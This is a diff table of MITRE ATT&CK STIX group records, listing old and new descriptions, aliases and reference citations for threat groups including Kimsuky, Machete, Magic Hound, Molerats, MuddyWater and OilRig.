| modified | 2020-03-30 02:56:46.530000+00:00 | 2021-04-23 02:34:44.299000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019) | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020) |
| external_references[2]['source_name'] | Velvet Chollima | Thallium |
| external_references[2]['description'] | (Citation: Zdnet Kimsuky Dec 2018) | (Citation: Cybereason Kimsuky November 2020) |
| external_references[3]['source_name'] | EST Kimsuky April 2019 | Black Banshee |
| external_references[3]['description'] | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. | (Citation: Cybereason Kimsuky November 2020) |
| external_references[4]['source_name'] | BRI Kimsuky April 2019 | Velvet Chollima |
| external_references[4]['description'] | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. | (Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020) |
| external_references[5]['source_name'] | Securelist Kimsuky Sept 2013 | EST Kimsuky April 2019 |
| external_references[5]['description'] | Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019. | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. |
| external_references[5]['url'] | https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ | https://blog.alyac.co.kr/2234 |
| external_references[6]['source_name'] | Zdnet Kimsuky Dec 2018 | BRI Kimsuky April 2019 |
| external_references[6]['description'] | Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019. | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. |
| external_references[6]['url'] | https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/ | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Thallium | |
| aliases | Black Banshee | |
| external_references | {'source_name': 'Cybereason Kimsuky November 2020', 'description': 'Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.', 'url': 'https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite'} | |
| external_references | {'source_name': 'Securelist Kimsuky Sept 2013', 'description': 'Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.', 'url': 'https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/'} | |
| external_references | {'source_name': 'Zdnet Kimsuky Dec 2018', 'description': 'Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.', 'url': 'https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/'} | |
| external_references | {'source_name': 'ThreatConnect Kimsuky September 2020', 'description': 'ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.', 'url': 'https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a group | t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a suspec |
| > | that has been active since at least 2010, targeting high-pro | > | ted Spanish-speaking cyber espionage group that has been act | ||
| > | file government entities in Latin American countries.(Citati | > | ive since at least 2010. It has primarily focused its operat | ||
| > | on: Cylance Machete Mar 2017)(Citation: Securelist Machete A | > | ions within Latin America, with a particular emphasis on Ven | ||
| > | ug 2014)(Citation: ESET Machete July 2019) | > | ezuela, but also in the US, Europe, Russia, and parts of Asi | ||
| > | a. [Machete](https://attack.mitre.org/groups/G0095) generall | ||||
| > | y targets high-profile organizations such as government inst | ||||
| > | itutions, intelligence services, and military units, as well | ||||
| > | as telecommunications and power companies.(Citation: Cylanc | ||||
| > | e Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(C | ||||
| > | itation: ESET Machete July 2019)(Citation: 360 Machete Sep 2 | ||||
| > | 020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:46:45.662000+00:00 | 2021-04-23 01:38:01.788000+00:00 |
| description | [Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | [Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020) |
| external_references[1]['description'] | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)( |
| external_references[2]['source_name'] | El Machete | APT-C-43 |
| external_references[2]['description'] | (Citation: Cylance Machete Mar 2017) | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Cylance Machete Mar 2017 | El Machete |
| external_references[3]['description'] | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. | (Citation: Cylance Machete Mar 2017) |
| external_references[4]['source_name'] | Securelist Machete Aug 2014 | Cylance Machete Mar 2017 |
| external_references[4]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. |
| external_references[4]['url'] | https://securelist.com/el-machete/66108/ | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| external_references[5]['source_name'] | ESET Machete July 2019 | Securelist Machete Aug 2014 |
| external_references[5]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. |
| external_references[5]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf | https://securelist.com/el-machete/66108/ |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | APT-C-43 | |
| external_references | {'source_name': 'ESET Machete July 2019', 'description': 'ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I | t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I |
| > | ranian-sponsored threat group that conducts long term, resou | > | ranian-sponsored threat group that conducts long term, resou | ||
| > | rce-intensive operations to collect intelligence, dating bac | > | rce-intensive cyber espionage operations, dating back as ear | ||
| > | k as early as 2014. The group typically targets U.S. and the | > | ly as 2014. The group typically targets U.S. and Middle East | ||
| > | Middle Eastern military, as well as other organizations wit | > | ern military organizations, as well as other government pers | ||
| > | h government personnel, via complex social engineering campa | > | onnel, via complex social engineering campaigns.(Citation: F | ||
| > | igns.(Citation: FireEye APT35 2018) | > | ireEye APT35 2018) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | |
| external_references | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 23:30:03.871000+00:00 | 2021-04-25 22:34:23.617000+00:00 |
| description | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive operations to collect intelligence, dating back as early as 2014. The group typically targets U.S. and the Middle Eastern military, as well as other organizations with government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018) | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, dating back as early as 2014. The group typically targets U.S. and Middle Eastern military organizations, as well as other government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018) |
| aliases[1] | Cobalt Gypsy | COBALT ILLUSION |
| aliases[2] | Operation Woolen-Goldfish | Charming Kitten |
| aliases[3] | Ajax Security Team | ITG18 |
| external_references[2]['source_name'] | Cobalt Gypsy | COBALT ILLUSION |
| external_references[2]['description'] | Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy.(Citation: Secureworks Cobalt Gypsy Feb 2017) | (Citation: Secureworks COBALT ILLUSION Threat Profile) |
| external_references[3]['source_name'] | Operation Woolen-Goldfish | Charming Kitten |
| external_references[3]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020) |
| external_references[4]['source_name'] | Ajax Security Team | ITG18 |
| external_references[4]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: IBM ITG18 2020) |
| external_references[5]['source_name'] | Operation Saffron Rose | Phosphorus |
| external_references[5]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019) |
| external_references[6]['source_name'] | Rocket Kitten | Newscaster |
| external_references[6]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group Rocket Kitten.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: ClearSky Charming Kitten Dec 2017) | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) |
| external_references[7]['source_name'] | Phosphorus | APT35 |
| external_references[7]['description'] | (Citation: Microsoft Phosphorus Mar 2019) | (Citation: FireEye APT35 2018) |
| external_references[8]['source_name'] | Newscaster | FireEye APT35 2018 |
| external_references[8]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. |
| external_references[9]['source_name'] | APT35 | Unit 42 Magic Hound Feb 2017 |
| external_references[9]['description'] | (Citation: FireEye APT35 2018) | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. |
| external_references[10]['source_name'] | FireEye APT35 2018 | Secureworks COBALT ILLUSION Threat Profile |
| external_references[10]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. |
| external_references[10]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://www.secureworks.com/research/threat-profiles/cobalt-illusion |
| external_references[11]['source_name'] | Unit 42 Magic Hound Feb 2017 | ClearSky Charming Kitten Dec 2017 |
| external_references[11]['description'] | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
| external_references[12]['source_name'] | Secureworks Cobalt Gypsy Feb 2017 | Eweek Newscaster and Charming Kitten May 2014 |
| external_references[12]['description'] | Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017. | Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021. |
| external_references[12]['url'] | https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations | https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering |
| external_references[13]['source_name'] | ClearSky Charming Kitten Dec 2017 | ClearSky Kittens Back 2 Oct 2019 |
| external_references[13]['description'] | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. |
| external_references[13]['url'] | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf |
| external_references[14]['source_name'] | Microsoft Phosphorus Mar 2019 | ClearSky Kittens Back 3 August 2020 |
| external_references[14]['description'] | Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. |
| external_references[14]['url'] | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'IBM ITG18 2020', 'description': 'Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.', 'url': 'https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Mar 2019', 'description': 'Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.', 'url': 'https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/'} | |
| external_references | {'source_name': 'Microsoft Phosphorus Oct 2020', 'description': 'Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.', 'url': 'https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/'} | |
| external_references | {'source_name': 'US District Court of DC Phosphorus Complaint 2019', 'description': 'US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.', 'url': 'https://noticeofpleadings.com/phosphorus/files/Complaint.pdf'} | |
| x_mitre_contributors | Anastasios Pingios |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Operation Saffron Rose | |
| aliases | Rocket Kitten |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is a polit | t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is an Arab |
| > | ically-motivated threat group that has been operating since | > | ic-speaking, politically-motivated threat group that has bee | ||
| > | 2012. The group's victims have primarily been in the Middle | > | n operating since 2012. The group's victims have primarily b | ||
| > | East, Europe, and the United States. (Citation: DustySky) (C | > | een in the Middle East, Europe, and the United States.(Citat | ||
| > | itation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | > | ion: DustySky)(Citation: DustySky2)(Citation: Kaspersky Mole | ||
| > | RATs April 2019)(Citation: Cybereason Molerats Dec 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 22:11:04.389000+00:00 | 2021-04-27 20:16:16.057000+00:00 |
| description | [Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | [Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[2]['description'] | (Citation: FireEye Operation Molerats) | (Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020) |
| external_references[3]['description'] | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019) | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[7]['source_name'] | FireEye Operation Molerats | Cybereason Molerats Dec 2020 |
| external_references[7]['description'] | Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016. | Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html | https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Operation Molerats', 'description': 'Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html'} |
Current version: 3.0
Version changed from: 2.3 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ | |
| external_references | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group | |
| external_references | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-29 21:27:47.641000+00:00 | 2021-04-26 22:30:05.308000+00:00 |
| external_references[2]['source_name'] | Seedworm | Earth Vetala |
| external_references[2]['description'] | (Citation: Symantec MuddyWater Dec 2018) | (Citation: Trend Micro Muddy Water March 2021) |
| external_references[3]['source_name'] | TEMP.Zagros | MERCURY |
| external_references[3]['description'] | (Citation: FireEye MuddyWater Mar 2018) | (Citation: Anomali Static Kitten February 2021) |
| external_references[4]['source_name'] | Unit 42 MuddyWater Nov 2017 | Static Kitten |
| external_references[4]['description'] | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. | (Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[5]['source_name'] | Symantec MuddyWater Dec 2018 | Seedworm |
| external_references[5]['description'] | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. | (Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[6]['source_name'] | ClearSky MuddyWater Nov 2018 | TEMP.Zagros |
| external_references[6]['description'] | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. | (Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[7]['source_name'] | ClearSky MuddyWater June 2019 | Unit 42 MuddyWater Nov 2017 |
| external_references[7]['description'] | ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020. | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. |
| external_references[7]['url'] | https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ |
| external_references[8]['source_name'] | Reaqta MuddyWater November 2017 | Symantec MuddyWater Dec 2018 |
| external_references[8]['description'] | Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020. | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. |
| external_references[8]['url'] | https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group |
| external_references[9]['source_name'] | FireEye MuddyWater Mar 2018 | ClearSky MuddyWater Nov 2018 |
| external_references[9]['description'] | Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. |
| external_references[9]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| x_mitre_version | 2.3 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Earth Vetala | |
| aliases | MERCURY | |
| aliases | Static Kitten | |
| external_references | {'source_name': 'ClearSky MuddyWater June 2019', 'description': 'ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf'} | |
| external_references | {'source_name': 'Reaqta MuddyWater November 2017', 'description': 'Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.', 'url': 'https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/'} | |
| external_references | {'source_name': 'Trend Micro Muddy Water March 2021', 'description': 'Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html'} | |
| external_references | {'source_name': 'Anomali Static Kitten February 2021', 'description': 'Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.', 'url': 'https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies'} | |
| external_references | {'source_name': 'FireEye MuddyWater Mar 2018', 'description': 'Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html'} |
Current version: 2.0
Version changed from: 1.4 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2021-04-26 12:59:49.642000+00:00 |
| external_references[2]['source_name'] | IRN2 | COBALT GYPSY |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[3]['source_name'] | HELIX KITTEN | IRN2 |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | APT34 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) |
| external_references[6]['source_name'] | ClearSky OilRig Jan 2017 | Palo Alto OilRig April 2017 |
| external_references[6]['description'] | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[6]['url'] | http://www.clearskysec.com/oilrig/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[7]['source_name'] | Palo Alto OilRig May 2016 | ClearSky OilRig Jan 2017 |
| external_references[7]['description'] | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. | ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017. |
| external_references[7]['url'] | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ | http://www.clearskysec.com/oilrig/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig May 2016 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 Playbook Dec 2017 |
